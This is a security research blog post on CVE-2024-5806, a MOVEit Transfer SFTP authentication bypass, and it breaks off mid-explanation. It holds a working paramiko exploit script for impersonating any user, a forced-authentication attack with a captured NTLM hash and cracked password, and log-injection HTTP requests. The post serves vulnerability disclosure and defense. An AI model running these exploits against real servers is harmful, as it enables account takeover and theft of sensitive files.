Auth. Bypass In (Un)Limited Scenarios - Progress MOVEit Transfer (CVE-2024-5806)

Auth. Bypass In (Un)Limited Scenarios - Progress MOVEit Transfer (CVE-2024-5806)

In the early hours of a day in a month in 2024, watchTowr Labs was sent a chat log:

13:37 -!- dav1d_bl41ne [] has joined #!hack (
13:37 -!- dav1d_bl41ne changed the topic of #!hack to: mag1c sh0w t1me
13:37 < dav1d_bl41ne> greetings frendz, morning 2 u all
13:37 < dav1d_bl41ne> been sniffing around mail spoolz lately
13:37 < dav1d_bl41ne> vendors now too scared 2 disclose vulnz to the public
13:37 < dav1d_bl41ne> sales teams, pre-sales, all told 2 keep patches secret '4 security reasons'
13:37 < dav1d_bl41ne> very strange, yes?
13:37 < dav1d_bl41ne> but frendz, remember this - when a security company digs into a vuln to protect clients
13:37 < dav1d_bl41ne> publishes their tech analysis
13:37 < dav1d_bl41ne> u really think they the only ones knowing?
13:37 < dav1d_bl41ne> think APT groups in the dark?
13:37 < dav1d_bl41ne> think APT groups are unaware and also not research nday?
13:37 < dav1d_bl41ne> think ransomware gangs can’t read code too?
13:37 < dav1d_bl41ne> Progress, they’ve been sending mails to customers
13:37 < dav1d_bl41ne> talking about patching MOVEit systems
13:37 < dav1d_bl41ne> some auth bypass in SFTP
13:37 < dav1d_bl41ne> funny, right? auth bypass in secure file transfer protocol of secure file transfer solution
13:37 < dav1d_bl41ne> info embargoed until June 25th
13:37 < dav1d_bl41ne> pls respect this.. we not here for madruquz
13:37 < dav1d_bl41ne> MOVEit Transfer ver 2023.0 and newer affected
13:37 < dav1d_bl41ne> MOVEit Gateway 2024.0 and newer also in trouble
13:37 < dav1d_bl41ne> The impact: "An Improper Authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass in limited scenarios."
13:37 < dav1d_bl41ne> ha ha
13:37 < dav1d_bl41ne> "improper authentication" - w0t authentication?
13:37 < dav1d_bl41ne> "limited scenarios"
13:37 < dav1d_bl41ne> limited like, whole world not yet on Internet?
13:37 < dav1d_bl41ne> anyway, for frendz i give starting points
13:37 < dav1d_bl41ne> unpatched:
13:37 < dav1d_bl41ne> patched:
13:37 < dav1d_bl41ne> good luck

A relatively unusual way to find out about impending vulnerabilities, but regardless, dav1d seems trustworthy - how else would we find out about embargoed vulnerabilities?


Today (25th June 2024), Progress un-embargoed an authentication bypass vulnerability in Progress MOVEit Transfer.

Many sysadmins may remember last year’s CVE-2023-34362, a cataclysmic vulnerability in Progress MOVEit Transfer that sent ripples through the industry, claiming such high-profile victims as the BBC and FBI. Sensitive data was leaked, and sensitive data was destroyed, as the cl0p ransomware gang leveraged 0days to steal data - and ultimately leaving a trail of mayhem.

This was truly an industry-wide event, and for this reason, news of a further ‘Improper Authentication’ vulnerability in the same product very rapidly had our full and undivided attention.

Here at watchTowr, we spring into action in situations such as this, where a tight-lipped vendor has advised people to patch, and typically take it upon ourselves to figure out the true technical nature of the vulnerability.

This work goes directly to our clients, who are then able to proactively protect themselves.

For those admins who were spared the carnage of last year, and who are blissfully unaware of Progress MOVEit, a little introduction is in order. It is, at it’s core, an application designed to facilitate easy filesharing and collaboration in large-scale enterprises.

It allows your Windows-based server to function in a similar vein to a NAS device, exposing a variety of means for users to transfer and manage files - for example, they could upload a file using SFTP, and then share it via HTTPS. The software is clearly designed for large-scale enterprise use, namedropping it’s ability to blend seamlessly into regulations as PCI and HIPAA, and proudly boasts “user authentication, delivery confirmation, non-repudiation and hardened platform configurations“.

As we have seen and don't need to prove - this is very obviously a juicy target for APT groups, ransomware gangs, and kids on Telegram with 100m$ USD in Bitcoin.

dav1d_bl41ne didn’t share a huge amount with us ahead of the embargo being lifted, but was kind enough to give us a patched and unpatched deployment of Progress MOVEit Transfer - helpful. As always, fuelled by pure naivety, energy drinks and undeterred by the lack of supporting information - we decided to dig in, and what we found was a truly bizarre vulnerability.

Editors note: This blog post is everything - a beautiful vulnerability and a masterclass in fun exploitation chains.

Before we start, we want to state explicitly in case anyone is otherwise misled - we are not the original finders of this vulnerability, we do not claim to be, we do not want to be. We’ll update this post with credit when we are aware.

Join us as we jump down the rabbit hole, once again.

Initial Vulnerability

Setting up MOVEit Transfer is straightforward, although it required that we spin up a ‘server’ variant of Windows, as it refused to run on our Windows 10 test machines.

Once we had one set up, we could configure the server and add a user account for us to experiment with. By default, this user is then able to upload and download files via the web interface, or using the built-in default-enabled SFTP server.

SFTP, as you may be aware, is a file transfer protocol similar to the old-school FTP, but secured using SSH, the ‘secure shell’. This means that SFTP gets all the benefits that SSH brings, such as being cross-platform and supporting a wide range of authentication options. It is also, as we saw above, the area of the target code in which the supposed vulnerability is hiding.

To start things off, we created a new test user, and started logging in and performing some preliminary checks. For example, we checked for dangerous functionality often left enabled in the SSH server (such as port forwarding), and for the presence of the null authentication handler, none . Nothing seemed amiss, and so we progressed to more invasive measures.

To take a closer look at what was going on, we attached a debugger to the server process (helpfully named SftpServer). Our intention here is to examine the code flow in detail, which would expose any shortcomings.

With the vendor’s advice that the vulnerability affects ‘limited scenarios’ in our mind, we looked to cover as much attack surface as possible, using every feature that could be reached. One of these options was to set up SSH’s ‘key pair authentication’ scheme - an entirely common (and very often recommended) secure way of authenticating users to the server.

Under this method of authentication, instead of identifying a user based on their knowledge of a simple password, will instead use some cryptographic magic to authenticate a user based on a public and private key.

With this scheme configured correctly, we performed a login, and something immediately caught our eye in the output window of the debugger that we’d attached.

The debugger, as you can imagine, outputs some very brief information about exceptions thrown and then caught by the debuggee - things that are not truly errors, but that are unexpected enough to cause a deviation from the usual program flow.

Among this information, we get a key glimpse into the operation of the server code itself:

03:05:40.252 Exception thrown: 'System.ArgumentException' in mscorlib.dll
03:05:40.253 Additional information: Illegal characters in path.

This struck us as unusual.

Since throwing exceptions is slow, it is something developers are trained to avoid during normal program flow, and only do in scenarios where some truly unexpected circumstance has shown itself. Since we’re seeing an exception be thrown, and then caught, surely we must’ve stumbled on to some extremely-unusual corner case here, right? No self-respecting enterprise-grade software would do such a thing for every single certificate authentication attempt, right?!

Well, you would hope so, but to our surprise, this behavior persisted even in a clean, factory install of the software. Simply attempting to authenticate using a public key (permitted in the default configuration) is enough to trigger this exception to be thrown and subsequently caught. The use of public keys is not only a very common practice, but is heartily recommended by security experts whenever possible, so how could it be that such a foible has gone unnoticed all this time?

Well, perhaps because, while this had some performance impact, it has no security impact on its own. It does, however, seem a strong enough ‘code smell’ to warrant further investigation, as it suggests that somewhere, something is going wrong (and subsequently being corrected).

Our debugger showed us the exact location in which the exception is generated. Since the code was somewhat minimized, the debugger output lacks things such as variable names, but we can see that the Path.GetFullPath method is throwing the exception:

We can see it is passed a string, here named A_0. .NET documentation advises that this string is an input file path, which the .NET framework will then ‘canonicalize’ into a normalized path. However, if we examine the string that is being passed in - here shown in the ‘locals’ window at the bottom of the screen - we can see that it is some garbage binary data, and clearly not a real file path!

Do you see it as well?

Our trained eyes can pick out the string ssh-dss, suggesting that the file path is somehow related to the SSH key exchange (dss being the type of key in use). What on earth is going on here?! This is very much unexpected - during the authentication process, from an unauthenticated perspective (i.e. before successful auth) we don’t expect to be able to influence any file IO on the server.

All the SSHD server should be doing is checking the validity of our presented auth material…..

On a hunch, we compared this binary data to the auth material we supplied during authentication, and were surprised to find that they are identical - the server is attempting to open the binary data representing our auth material, as a file path, on the server. Some might suggest this is truly bizarre behaviour - but we’ve learnt from previous research that sometimes ‘bizarre behaviour’ is ‘as expected’.

According to the SSH specification, this isn’t even supposed to be a valid file path, but simply binary key data that the server should treat as such.

This SSH public key is provided by the client, as part of the authentication process, and is processed before authentication is complete. This means that it is under attacker control, even without any credentials being supplied!

What happens, we wondered, if we supply a valid file path instead of the SSH public key itself? We supplied the filename myfile, and ran the ‘Process Monitor’ tool on the server to see how it reacted.

Oh wow, the madness doesn’t stop at Path.GetFullPath! The file path we specify is actually being accessed by the server.

Accessing arbitrary files from an unauthenticated context is dangerous behavior, from a security standpoint, regardless of what is actually done with them. Even without deeper investigation in to how the server is using this data, there are far-reaching security consequences.

A spoiler for our more impatient readers - ultimately, this flaw allows to to impersonate any user we want on the server! Before we explain how, though, it’s important to be aware of one other (somewhat less severe) attack that is enabled by this strange behavior. This is the possibility of forced authentication.

Attack 1: Forced Authentication

Any attacker worth their salt is probably foaming at the mouth reading this, thinking of all the ways they can abuse our newfound pre-authenticated server-side behaviour.

Their first instinct may be to perform what is known as a forced authentication attack, in which we supply an IP-address based UNC path to a file residing on a malicious SMB server (for example, \\\\\\myfile). The target server will attempt to connect to the malicious SMB server, which will then request that the target server authenticates itself. Since we supplied an IP address, as opposed to a domain name, the more secure ‘Kerberos’ protocol can’t be used to perform this authentication, and the target will fall back to the older, less secure ‘Net-NTLMv2’ protocol. This protocol is somewhat antiquated, and contains a number of flaws.

This is such a well-known and textbook attack that the mature project Responder will do all the hard work for us. All we need to do is to run it on a host controlled by the attacker to receive connections, and pass a UNC path to our controlled host with SMB/WebDAV exposed instead of a public key to the server. The server will attempt to open the UNC path, connect to Responder, attempt to negotiate authentication, and subsequently provide us with an all-important Net-NTLMv2 hash.

As we alluded to previously, however, sending such a file path instead of a public key is a violation of the SSH specification, and so no off-the-shelf SSH library will allow us to do it. In order to do such a pathological thing, we need to modify the code of an SSH library. In this case, we chose the paramiko Python library.

Some analysis of the way Paramiko performs authentication reveals that the key exchange code makes use of the function _get_key_type_and_bits . This function is responsible for returning the blob of binary data send to the server as the public key (along with the key type).

    def _get_key_type_and_bits(self, key):
        if key.public_blob:
            return key.public_blob.key_type, key.public_blob.key_blob
            return key.get_name(), key

This seems like the perfect place to inject our file path. We’ll redefine this function, so that instead of returning a key blob, it returns some file path that we control (here we use C:\\testkey.pem as an example).

payload = "C:\\\\testkey.pem"

def _get_key_type_and_bits(self, key):
    if key.public_blob:
        return key.public_blob.key_type, payload
        return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits

We’ll then go ahead and write some boilerplate code to connect and then authenticate.

# Open the transport, ready for us to authenticate
transport = paramiko.Transport(([IP of server], 22))

# And attempt to authenticate using a new keypair.
prvkey = paramiko.dsskey.DSSKey.generate(1024)
transport.connect(None, username = 'test', pkey=prvkey)

You might notice that we still need to supply a private key, which we generate on-the-fly, even though we don’t actually send the key to the server due to our modifications. This is because the authentication request to the server must be signed (more details later on, when we take a closer look at the protocol’s authentication process).

Let’s see if this attack will work. We start the Responder suite on our malicious host, and set our modified client library to use the path \\\\\\somefile. We then attempt authentication.

MOVEit does indeed connect to our malicious server, and the attack works as expected. Responder captures the NetNTLM hash of the moveitsvc service account, which is the account the SFTP server runs as:

[SMB] NTLMv2-SSP Client   :
[SMB] NTLMv2-SSP Username : WIN-RBNN52OCP49\\moveitsvc
[SMB] NTLMv2-SSP Hash     : moveitsvc::WIN-RBNN52OCP49:b841031a8e77e3a6:2B1789A107577E59D576D13397608F8C:010100000000000000505D56E4BDDA01F8E9F755EE211580000000000200080053004E003900300001001E00570049004E002D0052004B0052004900320056004F00310051003500390004003400570049004E002D0052004B0052004900320056004F0031005100350039002E0053004E00390030002E004C004F00430041004C000300140053004E00390030002E004C004F00430041004C000500140053004E00390030002E004C004F00430041004C000700080000505D56E4BDDA01060004000200000008003000300000000000000000000000003000001A760C83CAEA4E9CE717192F423D3CE38EAAD8904C73A4AAD3B8EA8194C971150A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00370030002E0031003600000000000000000000000000

This hash can then be bruteforced (or, as we chose for demonstration purposes, attacked with a dictionary) via hashcat.

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MOVEITSVC::WIN-RBNN52OCP49:b841031a8e77e3a6:2b1789a...000000
Recovered........: 1/1 (100.00%) Digests
Candidates.#1....: yDWNqb7yjGtx -> yDWNqb7yjGtx

There we have it - the service password is yDWNqb7yjGtx.

While this is a flashy demonstration, it is actually of somewhat limited practical use, due to the hardening and privilege separation used by MOVEit.

As you can see in our original Responder output, the hash that we’ve obtained is specific to the user account moveitsvc, the MOVEit service account. We’d hope that the sysadmins responsible do not permit the MOVEit service account to log in remotely, and ideally that they have limited the reach of SMB traffic, mitigating the attack.

Or worse yet, use a domain-joined account..

Or worse yet, a privileged domain-joined account..

We hope….


Before we move on, however, there’s one thing to note - in order for the UNC path to be accessed, we must supply a valid username to the system. This poses some obstacle for attackers, but also has the side effect of letting us check if usernames are valid via a ‘dictionary list’ approach.

There is, however, a second (and much more devastating) attack possible. Let’s keep looking.

Attack 2: Assuming The Identity Of Arbitrary Users

Above, we’ve already outlined a simple - pre-authentication - attack, and bluntly, all we’ve done is provide a file path to a server that tries to read said file. At this point, we don’t even know what the server is doing with our file path - but we do know that Progress described this vulnerability as allowing “authentication bypass”.

To dig deeper, we need to understand exactly what is going on with the read file that we can manipulate the SSHD server into reading.

First, let us share some background on the SSH authentication phase, on top of which the SFTP protocol operates (for more details, the SSH RFC, RFC 4252, is surprisingly readable).

Authentication in SSH is very versatile (as Progress are slowly proving).

After negotiating a connection to the server, and verifying the server’s identity, the client is free to send authentication requests in various forms (such as a password, or via a key pair). After each authentication attempt, the server responds, and can accept or reject the attempt, or request additional authentication - for example, the server could require both a registered public key pair, and also a password.

Note that if an authentication attempt fails, the connection does not close, but remains open, whereupon the client is free to send subsequent authentication attempts.

While the ‘password’ authentication type is self-evident, the key pair authentication mechanism deserves a little explanation.

This scheme employs a pair of files, a public and a private part, in order to prove a user’s identity to a server. The public part is deployed to the server via some previous setup mechanism, and the private part is kept secret, on the client. When it’s time to authenticate, the client will send an authentication request to the server, containing the requested username and the public key. It will then sign it using the private part, and send the whole request to the server.

The server must then verify two things, both critically important - firstly, that the signature is correct, and secondly, that the provided key is a valid key for the user trying to log in (i.e., that the user has previously added the public part to their account).

Eventually, once the server is satisfied that the user is who they say they are, it informs the client of such and the connection continues to the next phase, with access granted (and thus in this case, access to files being possible).

This is a complex process, and so the MOVEit developers chose to use a third-party library to handle it (along with all the other lower-level SSH functionality).

The library in question is IPWorks SSH, which is a moderately popular commercial product, averaging 33 downloads a day via the Nuget package manager. MOVEit implements some extra functionality to extend the library.

For example, MOVEit allows the user to store authorized keys in a database, instead of in files, and provides code to handle this.

MOVEit leaves the ‘heavy lifting’ to the IPWorks library, and implements only what it needs to extend it (as you would expect). Since user management is handled by MOVEit, it extends authentication to check authorization against its internal database.

Taking a look inside the code with a decompiler, we can find the code that MOVEit uses to check if an authentication request is to be permitted or denied.

This is the appropriately named (Editors note: is it?) Authenticate method, partly reproduced here for brevity:

		public AuthenticationResult Authenticate(SILUser user)
			if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
				this._logger.Error("Attempted to authenticate empty public key fingerprint");
				return AuthenticationResult.Denied;
			if (string.IsNullOrEmpty(user.ID))
				this._logger.Debug("No user ID provided for public key authentication");
				return AuthenticationResult.Denied;
			if (this._signatureIsValid != null && !this._signatureIsValid.Value)
				this._logger.Error("Signature validation failed for provided public key");
				this.StatusCode = 2414;
				this.StatusDescription = "Signature validation failed for provided public key";
				return AuthenticationResult.Denied;

As you can see, the method returns an AuthenticationResult, specifying the result of the authentication, and also sets a StatusCode which specifies details of the failure.

It checks that the public key is valid and not empty, denying the request if so, and also that a valid username is provided, again denying the attempt if this is not the case. It proceeds to check the signature of the authentication request, denying authentication if it is not valid, and setting the StatusCode to a value to signify the condition.

One thing is interesting in this code, however. Note that some stanzas set the StatusCode in addition to signalling the result of the authentication via the return code, while others (such as the first two) will return AuthenticationResult.Denied and leave StatusCode set at its default, zero.

At first glance, this is uninteresting, as the function is correctly denying authentication, albeit without providing any reason. However, some analysis of the code that invokes this Authenticate function paints it in a very different light.

This is because, elsewhere in the code, this combination of “ AuthenticationResult.Denied but the StatusCode set to zero” is actually used to signify an entirely different condition - the situation where the public key is validated and correct, but an additional authentication step is required (for example, an additional password is required). We can see this by examining this function, which adds an illuminating message to the system logs:

		if (globals.objUser.ErrorCode == 0)
			this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
			return AuthenticationResult.Indeterminate;

This has the end result that, if we can trigger one of first the two error handlers, we’ll also trigger this additional code - despite not having supplied a valid key. But how can we do this?

This is where our initial vulnerability observation comes in useful.

As we stated before, passing in a file path instead of a public key will result in the key being loaded from that file on the server. This step is performed by IPWorks SSH. For some reason we can only speculate on, however, IPWorks will not pass the public key to MOVEit when it has been loaded from a file. Instead, in this condition, IPWorks will simply pass the empty string “” instead of the public key.

Since the empty string is passed in to Authenticate, the check string.IsNullOrEmpty(this._publicKeyFingerprint) will pass, triggering the buggy code path. Authenticate will return a status of Denied but will not set the StatusCode, which is left at zero. The caller will then interpret this as a requirement for an additional authentication.

Of course, for us to reach the stage of the key being checked and Authenticate being invoked in the first place, we must satisfy some additional constraints:

  • Firstly, we must provide a valid username to the server, and
  • Secondly, the authentication packet must pass the signing check enforced by the server.

This means we must sign the authentication request, using the private half of the key that we then specify the path to on the server end. The server is then able to use the key, as found on its filesystem, to validate the authentication packet.

Signing the authentication request is easy to do ourselves, since we have the key available, but it imposes the additional requirement that the server will need the public key available in order to verify the fingerprint and validate it as correct.

For the purposes of a straightforward explanation, we’re going to assume that we’ve got enough access to the server that we can upload our own public key. This isn’t far-fetched, given the multi-user nature of MOVEit.

Besides, once we’ve finished explaining this part of the vulnerability, we’ll progress into removing this limitation, for which there are multiple techniques.

Here’s a quick summary of what we’ve just figured out:

  • We assume we can upload a public key to the server’s filesystem
  • If we attempt to authenticate, but supply a filename instead of a public key, then IPWorks SSH will read that file, on the the server, and use it to verify the authentication request/attempt itself
  • IPWorks SSH will then hand off authentication to MOVEit’s Authenticate method, passing it the empty string (””) instead of a fingerprint
  • Authenticate will then take a buggy code path which will let us progress authentication even though it should’ve failed.

This is a lot of theoretical progress without much practical verification - let’s remedy that by giving it a go!

First, we generate a key pair, and place the public half on the server as C:\\testkey.pem .

Second, we send an authentication request, supplying the path C:\\testkey.pem instead of our key. We also take care to signing our packet with the same key.

Upon doing this, we see an interesting combination of log messages generated by MOVEit - a sure sign that something isn’t so right in the authentication chain:

UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint
SILUser.ExecuteAuthenticators: User 'user2' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
UserAuthRequestHandler: Client key validation successful but password is also required

This is contradictory - the first message is telling us that an authentication was attempted with an empty public key, and so authentication was explicitly denied. However, the second line tells us that key validation was successful.

This is aligned with our expectations - the Authenticate method has rejected our key, but the caller of Authenticate mistakenly believes it has been accepted.

Given this belief, authentication is then allowed to continue for the user. The authentication is assessed as Indeterminate , as it would be if we had provided a valid key but the server required further proof of identity.

Notably, the user is then marked as having correctly authenticated via a public key:

switch (authResult)
			case AuthenticationResult.Indeterminate:
					userAuthResult.AuthResult = AuthResult.PartialSuccess;
					userAuthResult.AvailableAuthMethods = new string[] { "password" };
					authContext.Session.HasAuthenticatedByPublicKey = true;
					authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
					return userAuthResult;

So, in summary, we’ve supplied an empty private key file, and have been mistakenly marked as partially authenticated. The server then prompts us for our password to complete authentication.

This is clearly an error case, but at first glance, it seems benign. After all, we aren’t fully authenticated. We don’t know the user’s password, so we can’t complete authentication. Harmless, right?

Well, no. It turns out, there’s another critical corner case here.

As you can see above, the HasAuthenticatedByPublicKey value has been set to true, and LastPublicKeyFingerprint to the fingerprint that the user has authenticated with (in this case, the null-length string). This value is normally used by MOVEit to avoid verifying the same signature twice, since verifying it is computationally expensive. It’s a cache, of sorts. Usually, this LastPublicKeyFingerPrint value is set to the fingerprint of the key, but because we’ve sent a packet that contains a path, rather than a key itself, it is set to the null-length string “”.

This has the effect that MOVEit believes the public key authentication has succeeded, and additionally, that the public key fingerprint “” is valid and authorized for the given user.

Now, since the server hasn’t rejected our authentication, the authentication process continues, using the same null-length string as a public key. This time, however, before MOVEit tries to validate the key, it’ll notice that the key has already been authenticated and found to be correct:

UserAuthRequestHandler: Client key fingerprint  already authenticated for user user2; continuing with user authentication process

Notice the two spaces between ‘fingerprint’ and ‘already’ - that’s where the fingerprint itself is normally printed. In this case, the fingerprint is the null-length string, “”.

The server will then attempt to continue the authentication process, using what it thinks it has found to be a valid public key (but is actually the null-length string). Authenticate is called once again, and this time around, it finds _keyAlreadyAuthenticated to be true. This causes it to skip the null-length check we hit before. All other tests pass, and we fall through to return AuthenticationResult.Authenticated. This is seen as a successful authentication in the system logs:

SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator

This has the end result that the user is authenticated successfully, despite the fact that the only key that has been presented for authentication is the null-length string.

This is a devastating attack - it allows anyone who is able to place a public key on the server to assume the identity of any SFTP user at all. From here, this user can do all the usual operations - read, write, or deleting files, or otherwise cause mayhem.

That was a somewhat technical explanation, especially considering that actual exploitation is so simple. All we really need to do is follow a few simple steps:

  • Upload a public key to the server
  • Authenticate. Instead of supplying a valid public key to authenticate with, send the file path to the public key on the server. Sign the authentication request with the same key we uploaded before, as normal.
  • The key will be accepted by the server, and login will succeed. Now we can access any files from the target we like, as if we were the username we specified.

For those who prefer to read code, here’s a script to carry out these steps.

import logging
import paramiko
import requests
from paramiko.auth_handler import AuthHandler

username = '<target user>'
pemfile = 'key.pem'
host, port = "<target hostname>", 22

# Patch this function in Paramiko in order to inject our payload instead of the SSH key
def _get_key_type_and_bits(_, key):
    payload = "C:\\\\testkey.pem" # Target file path on the server 
    if key.public_blob:
        return key.public_blob.key_type, payload
        return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits

# Connect the SFTP session.
transport = paramiko.Transport((host, port))

transport.connect(None, username, pkey=paramiko.dsskey.DSSKey.from_private_key_file(pemfile))

# Just to show things have worked, show the contents of the user's home directory.
sftp = paramiko.SFTPClient.from_transport(transport)
print(f"Listing files in home directory of user {username}:\\r\\n")
for fileInfo in sftp.listdir_attr('.'):

The output is, as we expect, a list of files in the home directory of the target user.

(venv) c:\\code\\moveit>python
Listing files in home directory of user user2:

-rw-rw-rw- 1 0 0 31.9M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0  304 Jun 17 17:29 passwords.txt

Ruh-roh! We’ve shown that we’ve successfully authenticated as this user. From here, we can do anything the user can do - including reading, modifying, and deleting previously protected and likely sensitive data.

So, that’s great! We’ve got a way for a valid user to impersonate any other user on the system, but it requires them to be able to upload a public key file for it to work.

Pre-requisites are lame, and for pentesters. We promised that we’d explain how to sidestep this requirement, so let’s continue.

Fileless Exploitation

This is an concerning vulnerability and thus attack, given MOVEit’s threat model.

Given that the purpose of the software is to share files, the requirement that an attacker must be able to upload a file sets the bar very low - but still, a bar.

However, we can do even better. Let’s see about removing that requirement.

First off, there is one somewhat obvious possibility - we could host the public key file on a remote server, and supply a UNC path to it.

The server would then load it straight from the network. We assume that any administrator running MOVEit has correctly restricted outbound SMB traffic via a firewall or suchlike (if you haven’t, you definitely should) (ha ha you do right? tell us you do?)

We can do better than this.

At this point, we mentally moved away from the SFTP component, and spent a while looking for a way to obtain a file upload primitive from the main MOVEit web application. Any kind of anonymous file upload is good enough, as long as we can satisfy two conditions:

  • First, we must be able to upload a valid SSH public key without needing any auth/legitimate access to the host, and,
  • Secondly, the path to the file must be predictable so we can predictably supply it in our SSH authentication process.

Unfortunately, we didn’t immediately find anything that satisfies such a set of conditions.

Eventually though, after some meditation on the problem, we achieved enlightenment.

We realized that our actions so far had already caused data to be written to the disk, on the server, in a predictable file path! Can you figure out what mechanism we obliquely refer to?

Yes! Exactly! The system log files!

They’re in a predictable location on disk, and when we request anything from the server, we can cause data to be written to them. If we supply our public key in a HTTP request, it’ll be written to the log file, and we can then specify the path to the log file in our SSH authentication request!

There are many ways to induce the MOVEit server to log data we supply. The simplest is by trying to log on, which will cause the supplied username to be entered into the system logs:

SILUser.ExecuteAuthenticators: User 'Sina' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain

We could supply our public key instead of a username, via the HTTP interface:

POST /human.aspx HTTP/1.1
Host: {{host}}
Content-Length: 1480

Comment: ""

This does indeed result in the key being added to the system logs:

SILUser.ExecuteAuthenticators: User '
---- begin ssh2 public key ----
comment: ""
---- end ssh2 public key ----
' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain

This looks very promising, at first glance.

We’ve got our SSH public key inserted into a system log file, and we can use our aforementioned make-SSHD-read-any-file-unauth-as-part-of-the-auth-process vulnerability to specify that this system log file contains our SSH public key.

However, we were disappointed to find that it didn’t work - the server simply rejected our login request, and logged an entry signifying that it was unable to load the private key content:

Status message from server: SSH handshake failed: The certificate store could not be opened.

Well, it turns out there are two different reasons the server finds the situation unacceptable.

Firstly, the key data is in the middle of the file, and not the start of the file.

When MOVEit attempts to load the key from the file, it will not skip extra data, and if the file does not begin with the SSH key signature - ---- BEGIN SSH2 PUBLIC KEY - the file load process with be aborted and the key will not be loaded.

Secondly, if we could satisfy the above condition, there is a further problem.

Looking closely at the log file, you may notice that the key data has been turned to lowercase. This results in the file signature being incorrect, as it must be uppercase, and also in the decode of the key data failing since Base64 is case-sensitive.

Somewhat disappointed, we searched for an endpoint which would log arbitrary data, at the start of a file, without modifying it. This is quite a specific requirement, and while we searched high and low, we did not find a method that could satisfy it.

The closest our search came was the MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML method, which appears to log untrusted data in a much cleaner way. A little reverse-engineering revealed that the parameter Arg12 of the endpoint /guestaccess.aspx was passed into logging functions without any kind of modification.

We performed a POST to it, specifying the value signoff for the transaction argument, and our key in the Arg12 parameter.

POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

Comment: ""

Taking a look through the log file, we can see that the key has made it into the log files. It’s surrounded by other text, but the key is safely there, at least.

2024-06-19 15:42:33.223 #14 z30 GuestAccess_GetHTML: Redirecting to human.aspx, the common sign-on page: /human.aspx?OrgID=8294&Language=en&Arg12=
Comment: ""
2024-06-19 15:42:33.223 #14 z10 SILGuestAccess.GetHTML: Caught exception of type ArgumentException: Redirect URI cannot contain newline characters.
Stack trace:
   at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
   at System.Web.HttpResponseWrapper.Redirect(String url)
   at MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML(HttpRequest& parmRequest, HttpResponse& parmResponse, HttpSessionState& parmSession, HttpApplicationState& parmApplicationState)

We now have half our problem solved - we’ve successfully planted our public key into the system log files, with the intention of using it for authentication.

However, the first problem still stands.

Any attempt to load the file will fail, since the key does not appear at the start of the file, and thus the file is not a valid OpenSSH-format public key. Given that we couldn’t find any way to log at the start of a file, we searched for some clever way around this requirement.

We found this to be something of an uphill struggle. Examining the code responsible for loading OpenSSH keys, we found it to be quite exacting. It will eagerly reject files containing such unrelated junk at the earliest opportunity.

It turns out, however, that OpenSSH isn’t the only key format that the server supports.

All in all, it supports a whopping 12 different key types, including such oddities as XML-encoded keys and Java-format JWK stores. We carefully combed through the code responsible for loading these keys, looking for any way to read a key from a file that contained junk data as well as the key file itself, but were repeatedly foiled as the key-loading process required similar structure.

For example, the XML file format first appears interesting, but requires a correctly-formatted XML document.

We then searched for functionality inside MOVEit which could write attacker-controlled data into a valid XML file, but came up blank. We were forced to abandon the XML file format as we had the OpenSSH format.

Our search, however, was not in vain, as in due course, we eventually discovered the PPK file format. We took a close look at the code that handles loading such keys:

    public static void D([In] jc obj0, [In] string obj1, [In] string obj2)
      Hashtable hashtable1 = new Hashtable();
      Hashtable hashtable2 = new Hashtable();
      if (!kj.A(obj1, hashtable1, hashtable2))
        throw new Wm(271, "Cannot open certificate store: PPK encoding method is unknown.");
      string str1 = sU.j(hashtable1, "Encryption");
      string str2 = sU.j(hashtable2, "Public");
      string str3 = sU.j(hashtable2, "Private");
      byte[] numArray1 = null;
      if (hashtable1.ContainsKey((object) "PuTTY-User-Key-File-3") && Wk.strEqNoCase(str1, "aes256-cbc"))

Although perhaps not obvious from the code snippet, this function is passed a list of ASCII-delimited lines, read from the input file, and proceeds to search this list for the presence of specific strings - for example, near the bottom of the snippet, we see PuTTY-User-Key-File-3 , which is being searched for in the file.

Given this searching, we wondered, could we convince the PPK file loader to load our key, even with lots of extra text around it?

We took a look at how this list of lines was generated:

			for (keyPos < keyText.Length)
				lines[0] = lines[0].Trim();
				bool containsColon = lines[0].Contains(":");
				if (containsColon)
					int colonPos = array[0].IndexOf(":");
					string firstPart  = substr(lines[0], 0           , colonPos).Trim();
					string secondPart = substr(lines[0], colonPos + 1          ).Trim();


This looks pretty promising - here, we’re going through each line in the input, stripping whitespace, and splitting it into two parts, delimited by a colon, :. There’s no checking if the result is valid or not - a table is simply built of key-value pairs, and the above code will then examine this table, looking for the keys it needs. Lines without a colon will simply by skipped (due to the if (containsColon) ) rather than causing an error.

Encouraged by this, we did some research on the PPK file format and cross-referenced our findings with the decompiled loader code.

While the PPK file format holds a private key, as opposed to the public key we’re attempting to upload, this is okay - for the server’s purposes of verifying the signature, the private key is simply a superset of the public key.

We duly converted our private key into the PPK format, and took a look at the result.

PuTTY-User-Key-File-3: ssh-dss
Encryption: none
Public-Lines: 10
